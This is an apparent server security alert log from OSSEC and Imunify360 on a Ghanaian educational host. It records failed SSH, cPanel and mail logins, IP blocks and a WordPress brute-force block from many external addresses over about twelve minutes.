[2025-01-26 19:04:34 +0100] info [cpaneld] 104.207.54.90 - ads20b00337y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads20b00337y (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.9.170
description:
2025-01-26 19:05:10 dovecot_plain authenticator failed for c83-255-9-170.bredband.tele2.se [83.255.9.170]:60486: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.120.58.228
description:
Jan 26 19:05:23 ait sshd[2400191]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.120.58.228 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.120.58.228
description:
Jan 26 19:05:23 ait sshd[2400191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.120.58.228  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.255.9.170
description:
Jan 26 19:05:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.255.9.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.64
description:
Jan 26 19:06:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.39.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.64
description:
2025-01-26 19:06:33 dovecot_login authenticator failed for ([92.118.39.64]) [92.118.39.64]:55692: 535 Incorrect authentication data (set_id=helpdesk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.189.180.243
description:
2025-01-26 19:08:17 dovecot_plain authenticator failed for ([90.189.180.243]) [90.189.180.243]:38016: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 169.224.19.89
description:
[2025-01-26 19:08:16 +0100] info [webmaild] 169.224.19.89 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.185.68.142
description:
2025-01-26 19:08:25 dovecot_plain authenticator failed for ([61.185.68.142]) [61.185.68.142]:36182: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 63.46.105.139
description:
Jan 26 19:08:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 63.46.105.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.185.164.64
description:
Jan 26 19:08:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.185.164.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.91.178.253
description:
2025-01-26 19:08:43 dovecot_plain authenticator failed for ([111.91.178.253]) [111.91.178.253]:42390: 535 Incorrect authentication data (set_id=amihere-ackah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.185.164.64
description:
2025-01-26 19:08:57 dovecot_plain authenticator failed for ([190.185.164.64]) [190.185.164.64]:34503: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.227.66.92
description:
2025-01-26 19:08:12 dovecot_plain authenticator failed for ([188.227.66.92]) [188.227.66.92]:53578: 535 Incorrect authentication data (set_id=larm@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.141.246.82
description:
2025-01-26 19:09:02 dovecot_plain authenticator failed for p59082-obmd01.osaka.ocn.ne.jp [153.141.246.82]:56654: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.118.213.68
description:
Jan 26 19:08:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.118.213.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.93.37.178
description:
Jan 26 19:09:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.93.37.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.227.66.92
description:
Jan 26 19:08:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.227.66.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.213.68
description:
2025-01-26 19:08:23 dovecot_plain authenticator failed for (red.138.118.213.068.ssservicios.com.ar) [138.118.213.68]:32838: 535 Incorrect authentication data (set_id=larm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.184
description:
Jan 26 19:08:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.46.105.139
description:
2025-01-26 19:08:51 dovecot_plain authenticator failed for host139.sub-63-46-105.myvzw.com [63.46.105.139]:50180: 535 Incorrect authentication data (set_id=abs32a11123y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.8.174
description:
Jan 26 19:09:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.8.174
description:
2025-01-26 19:09:02 dovecot_plain authenticator failed for ([60.166.8.174]) [60.166.8.174]:33822: 535 Incorrect authentication data (set_id=abs32a11123y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.189.180.243
description:
Jan 26 19:08:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.189.180.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.185.68.142
description:
Jan 26 19:08:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.185.68.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.184
description:
2025-01-26 19:08:38 dovecot_plain authenticator failed for 111-70-49-184.emome-ip.hinet.net [111.70.49.184]:60440: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.91.178.253
description:
Jan 26 19:08:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.91.178.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.59.214.21
description:
2025-01-26 19:10:03 dovecot_plain authenticator failed for s142-59-214-21.ab.hsia.telus.net [142.59.214.21]:35034: 535 Incorrect authentication data (set_id=ebentil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.132.150.162
description:
2025-01-26 19:09:54 dovecot_plain authenticator failed for 57-132-150-162.dyn.grandenetworks.net [57.132.150.162]:55960: 535 Incorrect authentication data (set_id=ebentil@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.123.78.13
description:
Jan 26 19:09:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.123.78.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.123.78.13
description:
2025-01-26 19:09:57 dovecot_plain authenticator failed for (13-78-123-185.host.cirex.ru) [185.123.78.13]:48473: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.238.133.71
description:
2025-01-26 19:09:11 dovecot_plain authenticator failed for ([45.238.133.71]) [45.238.133.71]:44556: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.59.214.21
description:
Jan 26 19:10:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.59.214.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.140.210.134
description:
Jan 26 19:09:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.140.210.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.140.210.134
description:
2025-01-26 19:09:44 dovecot_plain authenticator failed for (trencowle) [94.140.210.134]:58770: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.93.37.178
description:
2025-01-26 19:09:04 dovecot_plain authenticator failed for ([103.93.37.178]) [103.93.37.178]:48430: 535 Incorrect authentication data (set_id=amihere-ackah)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.133.71
description:
Jan 26 19:09:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.133.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.27.145.32
description:
[2025-01-26 19:09:22 +0100] info [webmaild] 188.27.145.32 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 57.132.150.162
description:
Jan 26 19:09:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 57.132.150.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.3.140.29
description:
Jan 26 19:10:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.3.140.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.84.209.146
description:
Jan 26 19:10:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.84.209.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.84.209.146
description:
2025-01-26 19:10:52 dovecot_plain authenticator failed for ([88.84.209.146]) [88.84.209.146]:53148: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.231.247.210
description:
2025-01-26 19:10:52 dovecot_plain authenticator failed for ([101.231.247.210]) [101.231.247.210]:36911: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.109.153.173
description:
2025-01-26 19:11:00 dovecot_plain authenticator failed for ([183.109.153.173]) [183.109.153.173]:47804: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.109.153.173
description:
Jan 26 19:10:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.109.153.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.206.34.142
description:
Jan 26 19:10:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.206.34.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.75.188.242
description:
2025-01-26 19:10:33 dovecot_plain authenticator failed for ([115.75.188.242]) [115.75.188.242]:52950: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.63
description:
Jan 26 19:10:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.39.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
description:
Jan 26 19:10:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
description:
2025-01-26 19:10:47 dovecot_plain authenticator failed for ([220.93.167.144]) [220.93.167.144]:42854: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.43.109
description:
2025-01-26 19:11:04 dovecot_plain authenticator failed for 109.43.246.220.static.netvigator.com [220.246.43.109]:53033: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.98.160.117
description:
2025-01-26 19:10:27 dovecot_plain authenticator failed for ([218.98.160.119]) [218.98.160.117]:22156: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.75.188.242
description:
Jan 26 19:10:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.75.188.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.3.140.29
description:
2025-01-26 19:10:38 dovecot_plain authenticator failed for ([106.3.140.29]) [106.3.140.29]:32844: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.231.247.210
description:
Jan 26 19:10:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.231.247.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.206.34.142
description:
2025-01-26 19:10:07 dovecot_plain authenticator failed for ([119.206.34.142]) [119.206.34.142]:56032: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.124.54.14
description:
Jan 26 19:10:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.124.54.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.98.160.117
description:
Jan 26 19:10:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.98.160.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.148.252.147
description:
Jan 26 19:10:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.148.252.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.63
description:
2025-01-26 19:10:34 dovecot_login authenticator failed for ([92.118.39.63]) [92.118.39.63]:60084: 535 Incorrect authentication data (set_id=prueba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.43.109
description:
Jan 26 19:11:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.43.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.30.215.71
description:
Jan 26 19:11:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.30.215.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.129.236.174
description:
Jan 26 19:11:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.129.236.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.3
description:
2025-01-26 19:12:04 dovecot_plain authenticator failed for ([65.20.233.3]) [65.20.233.3]:51010: 535 Incorrect authentication data (set_id=abs2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.76.167.238
description:
2025-01-26 19:11:16 dovecot_plain authenticator failed for ([65.76.167.238]) [65.76.167.238]:45030: 535 Incorrect authentication data (set_id=ads20a00244y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.215.71
description:
2025-01-26 19:11:33 dovecot_plain authenticator failed for ([5.30.215.71]) [5.30.215.71]:44503: 535 Incorrect authentication data (set_id=ads20a00244y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.129.236.174
description:
2025-01-26 19:11:48 dovecot_plain authenticator failed for ([219.129.236.174]) [219.129.236.174]:59135: 535 Incorrect authentication data (set_id=abs2@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.76.167.238
description:
Jan 26 19:11:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.76.167.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.3
description:
Jan 26 19:12:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
description:
2025-01-26 19:12:19 dovecot_plain authenticator failed for ([103.68.52.210]) [103.68.52.210]:47810: 535 Incorrect authentication data (set_id=abs18a00023y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.245.10.228
description:
2025-01-26 19:12:55 dovecot_plain authenticator failed for ([49.245.10.228]) [49.245.10.228]:40441: 535 Incorrect authentication data (set_id=assdas2@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.132.61.213
description:
Jan 26 19:12:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.132.61.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.132.61.213
description:
2025-01-26 19:12:08 dovecot_plain authenticator failed for ([124.132.61.213]) [124.132.61.213]:43462: 535 Incorrect authentication data (set_id=abs18a00023y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.245.10.228
description:
Jan 26 19:12:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.245.10.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.219.104.210
description:
Jan 26 19:14:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.219.104.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.142.135
description:
Jan 26 19:13:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.142.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.169.54.150
description:
Jan 26 19:13:44 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.169.54.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.214.168.101
description:
Jan 26 19:13:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.214.168.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.39.206.23
description:
2025-01-26 19:13:06 dovecot_plain authenticator failed for ([111.39.206.23]) [111.39.206.23]:38056: 535 Incorrect authentication data (set_id=assdas2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.145.108.234
description:
Jan 26 19:13:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.145.108.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.69.115.74
description:
2025-01-26 19:13:20 dovecot_plain authenticator failed for ([218.69.115.74]) [218.69.115.74]:38233: 535 Incorrect authentication data (set_id=eng20a00022y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.142.135
description:
2025-01-26 19:13:31 dovecot_login authenticator failed for ([171.244.142.135]) [171.244.142.135]:53499: 535 Incorrect authentication data (set_id=welch.0407@aitedu.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.54.150
description:
2025-01-26 19:13:46 dovecot_login authenticator failed for ([61.169.54.150]) [61.169.54.150]:36451: 535 Incorrect authentication data (set_id=welch.0407)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.214.168.101
description:
2025-01-26 19:13:49 dovecot_login authenticator failed for d-24-214-168-101.oh.cpe.breezeline.net [24.214.168.101]:54081: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.69.115.74
description:
Jan 26 19:13:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.69.115.74 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 69.30.195.178
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:19-13.69.30.195.178


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.39.206.23
description:
Jan 26 19:13:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.39.206.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.145.108.234
description:
2025-01-26 19:13:09 dovecot_plain authenticator failed for ([216.145.108.234]) [216.145.108.234]:37266: 535 Incorrect authentication data (set_id=eng20a00022y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
description:
2025-01-26 19:14:44 dovecot_plain authenticator failed for (proses) [95.79.108.51]:55748: 535 Incorrect authentication data (set_id=dgyan@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.236.204.138
description:
[2025-01-26 19:14:46 +0100] info [webmaild] 37.236.204.138 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
description:
2025-01-26 19:14:05 dovecot_login authenticator failed for net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:41490: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.7.248.50
description:
Jan 26 19:14:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.7.248.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.7.248.50
description:
2025-01-26 19:14:13 dovecot_plain authenticator failed for ([116.7.248.50]) [116.7.248.50]:34207: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.174.3.182
description:
2025-01-26 19:14:27 dovecot_plain authenticator failed for 182.3.174.178.static.wline.lns.sme.cust.swisscom.ch [178.174.3.182]:41222: 535 Incorrect authentication data (set_id=abs18b00066y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.174.3.182
description:
Jan 26 19:14:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.174.3.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.61
description:
Jan 26 19:14:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.39.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.61
description:
2025-01-26 19:14:36 dovecot_login authenticator failed for ([92.118.39.61]) [92.118.39.61]:63701: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.108.51
description:
Jan 26 19:14:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.108.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.239.255.163
description:
Jan 26 19:15:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.239.255.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.202.1.58
description:
Jan 26 19:15:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.202.1.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.202.1.58
description:
2025-01-26 19:15:20 dovecot_plain authenticator failed for ([177.202.1.58]) [177.202.1.58]:43225: 535 Incorrect authentication data (set_id=ads21a00042y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.128.44.171
description:
Jan 26 19:15:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.128.44.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.239.255.163
description:
2025-01-26 19:15:12 dovecot_plain authenticator failed for (holety) [77.239.255.163]:39178: 535 Incorrect authentication data (set_id=eng67b66769@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.6.25.115
description:
Jan 26 19:15:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.6.25.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.25.115
description:
2025-01-26 19:15:24 dovecot_plain authenticator failed for (static.rcn.com) [209.6.25.115]:42143: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.44.171
description:
2025-01-26 19:15:30 dovecot_plain authenticator failed for ([222.128.44.171]) [222.128.44.171]:2236: 535 Incorrect authentication data (set_id=ads21a00042y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.60.82.26
description:
Jan 26 19:15:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.60.82.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.60.82.26
description:
2025-01-26 19:15:33 dovecot_plain authenticator failed for (ftth-139-60-82-26.hamiltoncom.net) [139.60.82.26]:37132: 535 Incorrect authentication data (set_id=ads19a00062y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.82.30
description:
Jan 26 19:16:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.82.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.116.42.218
description:
Jan 26 19:16:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.116.42.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.51.214.170
description:
Jan 26 19:16:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.51.214.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.214.170
description:
2025-01-26 19:16:14 dovecot_plain authenticator failed for (diably) [77.51.214.170]:47161: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.151.51.223
description:
Jan 26 19:16:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.151.51.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.151.51.223
description:
2025-01-26 19:16:19 dovecot_plain authenticator failed for customer-ip-193-151-51-223.ipv.net.pl [193.151.51.223]:39882: 535 Incorrect authentication data (set_id=eng67b66769)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 26 19:16:10 ait sshd[2405496]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.47.82.30
description:
2025-01-26 19:16:11 dovecot_plain authenticator failed for (30-82-47.185.prisme-network.com) [185.47.82.30]:35975: 535 Incorrect authentication data (set_id=eng67b66769@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.116.42.218
description:
2025-01-26 19:16:18 dovecot_plain authenticator failed for (unlizan) [91.116.42.218]:34474: 535 Incorrect authentication data (set_id=phd@iric.us)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
